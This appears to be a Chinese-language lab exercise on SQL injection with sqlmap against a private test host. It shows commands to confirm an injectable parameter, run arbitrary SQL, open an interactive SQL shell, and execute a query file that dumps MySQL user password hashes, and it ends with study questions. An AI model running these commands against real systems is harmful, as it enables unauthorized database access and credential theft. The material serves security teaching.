步骤1:测试注入点

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1"

成功验证该注入点

web server operating system: Windows //操作系统 web application technology: Apache 2.4.10, PHP 5.2.17 //WEB容器 back-end DBMS: MySQL >= 5.5 //MySQL版本

步骤2:执行指定的SQL语句

–sql-query=QUERY

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-query=”select @@version”

步骤3:交互式的SQL命令行

–sql-shell

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-shell

select @@version

select @@datadir //查询当前数据库文件存放路径的语句

x或q退出交互式SQL命令行

步骤4:执行文件中的SQL语句

–sql-file=sql文件 直接执行SQL文件中的语句

c盘新建一个SQL文件 1.sql

内容:

select version(); //查询数据库版本

select @@basedir; //查询数据库存放路径

select password from mysql.user; //查询MySQL用户密码

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-file=c:/1.sql

思考

  • 这几种执行命令的方式有何不同?各满足什么需求?
  • 上述情况下,能执行UPDATE 之类的SQL语句吗?